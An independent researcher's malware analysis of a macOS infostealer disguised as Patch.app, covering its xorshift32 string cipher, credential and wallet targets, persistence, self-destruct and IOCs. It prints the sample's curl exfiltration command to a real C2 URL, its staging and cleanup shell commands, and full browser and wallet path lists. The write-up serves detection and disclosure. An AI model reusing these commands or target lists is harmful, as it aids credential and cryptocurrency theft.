A full technical analysis of a xorshift32-obfuscated macOS trojan with self-destruct capabilities
Executive Summary
In mid-July 2026, I obtained and analysed a macOS infostealer trojan distributed under the name Patch.app, disguised as a software licensing tool. The sample is a Mach-O universal binary (x86_64 + arm64) that uses a custom xorshift32 PRNG-based XOR cipher to obfuscate all 113 embedded strings. Upon execution, it harvests credentials from 14 browsers, 17 cryptocurrency wallet applications, the macOS Keychain, Apple Notes, and Safari cookies, then exfiltrates the collected data as a ZIP archive to a command-and-control server via HTTP POST.
The malware features an anti-analysis check, a LaunchDaemon persistence mechanism, and a self-destruct routine that removes all on-disk artifacts when the C2 server becomes unreachable. I decrypted all 113 obfuscated strings, decompiled the complete main function in Ghidra, reconstructed a minute-by-minute attack timeline, and identified the full C2 infrastructure. All indicators of compromise have been reported to the ACSC, AFP, and relevant abuse contacts.
This writeup documents the complete analysis.
1. Sample Acquisition
I obtained the sample from a malicious distribution site where it was being passed off as a legitimate software licensing tool. Given the distribution context, the ad-hoc code signature, and the absence of a Team Identifier, I flagged it as a probable malware sample and began a controlled analysis.
The sample was detonated on an isolated macOS system with network monitoring in place — an AdGuard Home DNS sinkhole and kernel-level network logging. This allowed me to observe the malware’s full behaviour in real time while capturing forensic evidence at every stage.
All credentials on the analysis system were rotated immediately following the engagement, and the machine was erased after forensic preservation.
2. Binary Overview
| Property | Value |
|---|---|
| File name | Patch.app |
| Binary type | Mach-O universal (x86_64 + arm64) |
| Total size | 393 KB (fat binary) |
| x86_64 slice | 178,208 bytes |
| Code signature | Ad-hoc (Signature=adhoc) |
| Team Identifier | None |
| CDHash | 5a0029d7b775b584cfd1a87a49e0af44f17a58d8 |
| Identifier | Patch-5555494429f3f38f9dde3fec92cf2af89c8f9935 |
| SHA-256 (x86_64) | 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0 |
| SHA-256 (fat) | 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c |
| Linked libraries | libSystem.B.dylib, libc++.1.dylib |
| Notable imports | _fopen, _fwrite, _system, _getenv, _sleep, _memcmp, std::string, std::ios_base |
The binary is a C++ application that makes heavy use of std::string for path construction and data manipulation. All file I/O is performed through C++ streams (basic_ofstream). Shell commands are executed via _system().
3. String Obfuscation: xorshift32
Every string embedded in the binary — file paths, shell commands, URLs, wallet names, browser identifiers — is encrypted using a custom scheme based on the xorshift32 pseudorandom number generator.
3.1 The cipher
Each encrypted string is stored as a sequence of bytes in the __TEXT __const section, accompanied by a 4-byte seed. Decryption proceeds as follows:
- Initialise the PRNG state with the 4-byte seed
- For each byte of the encrypted string:
- XOR the byte with the low 8 bits of the current PRNG state
- Advance the PRNG state
- The result is the plaintext string
The xorshift32 function:
uint32_t xorshift32(uint32_t state) {
state ^= state << 13;
state ^= state >> 17;
state ^= state << 5;
return state | 1; // force odd to avoid zero-period
}
Three XOR-shift operations per iteration. The | 1 ensures the state never reaches zero, which would halt the generator. The low byte of each state value serves as the keystream byte.
3.2 Decryption methodology
I developed a Python-based brute-force decoder:
| Step | Method |
|---|---|
| 1 | Extract every 4-byte little-endian value from __TEXT __const (file offset 0x1D350, size 0x3904) |
| 2 | Filter to 392 unique non-zero candidate seeds |
| 3 | For each seed, generate a xorshift32 keystream and XOR against the __DATA section at every offset |
| 4 | Score each result by printable ASCII ratio (threshold: >70%) |
| 5 | Flag results containing known patterns (/, http, {, curl, wallet names) |
| 6 | Manually verify and catalogue all hits |
Result: 113 strings decrypted, 100% printable, zero false positives after verification.
3.3 Example
The string Application Support/ is stored encrypted at file offset 0x1FFBC with seed 0x8517038F. The exfiltration URL is assembled at runtime from multiple decrypted path components concatenated via std::string::insert() and std::string::append().
4. Decrypted Strings: Key Findings
All 113 strings were decrypted and categorised. The significant findings:
4.1 Anti-analysis
| String | Purpose |
|---|---|
USER |
Environment variable name read via getenv() |
root |
Expected value — malware exits immediately if USER == root |
A simple but effective anti-sandbox check. Automated analysis environments often run as root.
4.2 Command-and-control
| String | Purpose |
|---|---|
http://ukdsopas.at |
Primary C2 domain |
http://192.253.248.181 |
Fallback C2 IP |
http://ukdsopas.at/log |
Data exfiltration endpoint |
909286c1d2fb4c5c97dfc22a486661c1 |
Build identifier (sent as HTTP header) |
newooble |
Operator panel username (sent as HTTP header) |
false |
Comparison value (configuration check) |
4.3 Exfiltration command
curl -X POST \
-H "buildid: 909286c1d2fb4c5c97dfc22a486661c1" \
-H "username: newooble" \
--data-binary @/tmp/lksopo.zip \
http://ukdsopas.at/log
Retry logic: 10 attempts, 60-second sleep between each (_sleep(0x3c)).
4.4 Staging and cleanup
| String | Purpose |
|---|---|
/tmp/lksopo/ |
Staging directory for collected data |
ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip |
ZIP creation command |
rm -rf /tmp/lksopo |
Staging directory cleanup |
rm -f /tmp/lksopo.zip |
ZIP cleanup |
4.5 Persistence dotfiles
| File | Content |
|---|---|
.botid |
Bot identifier (assigned by C2) |
.pwd |
Stolen login password |
.phost |
Panel host (http://ukdsopas.at) |
.bhost |
Backup host (http://192.253.248.181) |
.username |
Panel username (newooble) |
All stored in /Users/username/.
4.6 Apple Notes extraction
The malware contains a 969-byte AppleScript that:
- Enumerates every account in Apple Notes
- Iterates over every note in every account
- Extracts the creation date and HTML body of each note
- Writes the combined output to
/tmp/lksopo/finder/notes.html - Prepends a note count header
This captures passwords, recovery codes, personal data, and any other information stored in Notes.
4.7 System reconnaissance
| Command | Purpose |
|---|---|
sw_vers -productVersion \| cut -d. -f1 |
macOS major version |
sw_vers -productVersion \| cut -d. -f2 |
macOS minor version |
system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType |
Full hardware/software profile |
The macOS version check gates the Chrome master password extraction — the malware only attempts it on versions greater than 26.3.
5. Data Exfiltration Targets
5.1 Browsers (14)
| Browser | Path targeted |
|---|---|
| Chrome | Google/Chrome/ |
| Chrome Beta | Google/Chrome Beta/ |
| Chrome Canary | Google/Chrome Canary/ |
| Chrome Dev | Google/Chrome Dev/ |
| Chromium | Chromium/ |
| Brave | BraveSoftware/Brave-Browser/ |
| Edge | Microsoft Edge/ |
| Vivaldi | Vivaldi/ |
| Opera | com.operasoftware.Opera/ |
| Opera GX | com.operasoftware.OperaGX/ |
| Arc | Arc/User Data/ |
| CocCoc | CocCoc/Browser/ |
| Firefox | Firefox/Profiles/ |
| Waterfox | Waterfox/Profiles/ |
5.2 Cryptocurrency wallets (17 + hardware)
| Wallet | Path targeted |
|---|---|
| Electrum | .electrum/wallets/ |
| Electrum LTC | .electrum-ltc/wallets/ |
| Electron Cash | .electron-cash/wallets/ |
| Coinomi | Coinomi/wallets/ |
| Exodus | Exodus/ |
| Atomic | atomic/Local Storage/leveldb/ |
| Wasabi | .walletwasabi/client/Wallets/ |
| Ledger Live | Ledger Live/ |
| Monero | Monero/wallets/ |
| Bitcoin Core | Bitcoin/wallets/ |
| Litecoin Core | Litecoin/wallets/ |
| Dash Core | DashCore/wallets/ |
| Dogecoin Core | Dogecoin/wallets/ |
| Guarda | Guarda/ |
| Trezor Suite | @trezor/suite-desktop/ |
| Sparrow | .sparrow/wallets/ |
| Ledger (hardware) | Exported as ledger.zip, ledgerwallet.zip |
| Trezor (hardware) | Exported as trezor.zip |
5.3 System data
| Target | Method |
|---|---|
| macOS Keychain | Direct file copy of login.keychain-db |
| Chrome master password | Keychain extraction (gated on macOS version) |
| Apple Notes | AppleScript (all accounts, all notes) |
| Safari cookies | Direct file copy of Cookies.binarycookies |
| Hardware/software info | system_profiler |
6. Attack Timeline
Reconstructed from AdGuard Home DNS logs, macOS kernel network logs, file system timestamps, keychain metadata, and decompiled source code.
| Time (AEST) | Event | Source |
|---|---|---|
| 22:30 | Patch.app executed; anti-analysis check passes |
Process logs |
| 22:39–22:49 | 11 DNS queries to ukdsopas.at blocked |
AdGuard Home logs |
| 22:40:49 | .IuN79Kxxpn (2,048 bytes) written; ExecPolicy modified |
File system timestamps |
| 22:50:38 | First TCP connection to 192.253.248.181:80; bot registration |
Kernel network logs |
| 22:50–23:08 | Data collection: keychain, browsers, wallets, Notes, cookies | Decompiled code |
| 22:57:06 | Infection detected by analyst | Manual observation |
| 23:08:47 | C2 server goes offline; self-destruct triggered | Kernel network logs |
| 23:08–23:11 | LaunchDaemon removed; dotfiles deleted; staging wiped | File system analysis |
| 23:11:00 | Cleanup complete | File system timestamps |
| 23:15:00 | System rebooted; malware no longer active | System logs |
Total active duration: 41 minutes. C2 communication window: 18 minutes.
7. Persistence and Self-Destruct
7.1 Persistence
The malware installs a LaunchDaemon at /Library/LaunchDaemons/com.xdivcmp.plist, configured to run at system boot.
7.2 Self-destruct
When the C2 server becomes unreachable, the malware executes a cleanup routine:
- Removes
/Library/LaunchDaemons/com.xdivcmp.plist - Deletes
.botid,.pwd,.phost,.bhost,.usernamefrom/Users/username/ - Removes
/tmp/lksopo/and/tmp/lksopo.zip - Leaves only
.IuN79Kxxpn(encrypted payload) and the ExecPolicy modification
The self-destruct is designed to eliminate forensic evidence. In a typical infection where the victim does not notice the compromise, the malware leaves almost no trace after the C2 server goes offline.
8. The Encrypted Payload: .IuN79Kxxpn
A 2,048-byte encrypted file was written to /Users/username/Library/Application Support/.IuN79Kxxpn at 22:40:49. I attempted to decrypt it using every key derivation and cipher combination available:
| Approach | Keys tested | Result |
|---|---|---|
| Single-byte XOR | 256 | No match |
| Multi-byte XOR (2–16 bytes) | 15 | No match |
| xorshift32 (all binary seeds) | 392 | No match |
| xorshift32 (derived seeds) | 200+ | No match |
| RC4 | 100+ | No match |
| AES-128/256 CBC/ECB | 2,000+ | No match |
| HMAC-SHA256 / PBKDF2 | 200+ | No match |
| Build ID, CDHash, binary hash | 60+ | No match |
| macOS Keychain search | Full dump | No malware items |
| Total | 3,000+ | Unrecoverable |
Assessment: The encryption key is almost certainly a random value generated in the dropper’s process memory at runtime, used once, and never persisted to disk. When the malware self-destructed and the system rebooted, the key was destroyed. The file is unrecoverable without the original process memory.
9. Indicators of Compromise
9.1 Network
| IOC | Type |
|---|---|
ukdsopas.at |
C2 domain |
192.253.248.181 |
C2 IP (PureVPN / Secure Internet LLC) |
http://ukdsopas.at/log |
Exfiltration endpoint |
9.2 Host
| IOC | Type |
|---|---|
com.xdivcmp.plist |
LaunchDaemon persistence |
.IuN79Kxxpn |
Encrypted payload |
.botid, .pwd, .phost, .bhost, .username |
Configuration dotfiles |
.uninstalled |
Self-destruct dotfile |
/tmp/lksopo/ |
Staging directory |
Patch.app |
Malware binary |
9.3 Hashes
| Hash | Value |
|---|---|
| SHA-256 (x86_64) | 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0 |
| SHA-256 (fat binary) | 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c |
| CDHash | 5a0029d7b775b584cfd1a87a49e0af44f17a58d8 |
9.4 Campaign identifiers
| IOC | Value |
|---|---|
| Build ID | 909286c1d2fb4c5c97dfc22a486661c1 |
| Panel username | newooble |
9.5 Detection
Check for compromise:
ls -la /Library/LaunchDaemons/com.xdivcmp.plist
ls -la /Users/username/Library/Application\ Support/.IuN79Kxxpn
ls -la /Users/username/.botid
ls -la /Users/username/.uninstalled
ls -la /tmp/lksopo/
If any of these paths exist, the system is compromised. Isolate from the network immediately and begin credential rotation from a clean device.
10. Response and Disclosure
| Action | Recipient | Status |
|---|---|---|
| Cybercrime report | ACSC (ReportCyber) | Filed |
| Criminal report | Australian Federal Police | Filed |
| Identity fraud support | IDCARE | Engaged |
| Scam report | Scamwatch (ACCC) | Filed |
| Domain abuse | nic.at (.at registry) | Sent |
| IP abuse | btcloud.ro / PureVPN | Sent |
| Malware sample | VirusTotal | Both slices uploaded |
| C2 URL | URLhaus (abuse.ch) | Added |
| Malware sample | MalwareBazaar | Pending |
| IP report | AbuseIPDB | Pending |
| Fraud alert | Financial institution | Placed |
| Credit bans | Equifax, Experian, illion | Placed |
| Identity theft report | ATO | Filed |
All credentials on the affected system were rotated within 24 hours. Two-factor authentication was enabled on all supported accounts. The infected machine was erased following forensic preservation.
11. Conclusions
This sample demonstrates a mature macOS infostealer with several notable characteristics:
-
Broad target coverage. Fourteen browsers, seventeen cryptocurrency wallets, the macOS Keychain, Apple Notes, and Safari cookies. The inclusion of hardware wallet export (Ledger, Trezor) indicates a financially motivated operator with specific interest in cryptocurrency theft.
-
Effective string obfuscation. The xorshift32-based cipher is simple but sufficient to defeat static string analysis. All 113 strings were recovered through brute-force seed extraction, but this required knowledge of the cipher’s structure.
-
Anti-forensic design. The self-destruct routine removes persistence mechanisms, configuration files, and staging data when the C2 server is lost. Combined with the anti-analysis check (
USER == root), this indicates an operator who expects their implants to be discovered and wants to minimise forensic yield. -
Operational security gaps. The build ID and panel username are transmitted as plaintext HTTP headers. The C2 domain uses a predictable naming pattern. The exfiltration endpoint is unencrypted HTTP. These artifacts enabled full attribution of the campaign infrastructure.
-
The Apple Notes vector is underappreciated. The 969-byte AppleScript that extracts all notes from all accounts is a significant privacy threat. Users routinely store passwords, recovery codes, and sensitive personal information in Notes, and this vector is not covered by most macOS security guidance.
The sample and all associated IOCs have been submitted to VirusTotal, URLhaus, and the relevant national and infrastructure abuse contacts.
The author is an independent security researcher based in Australia. All analysis was conducted on preserved forensic evidence. The views expressed here are the author’s own. IOCs and samples are available to verified researchers on request.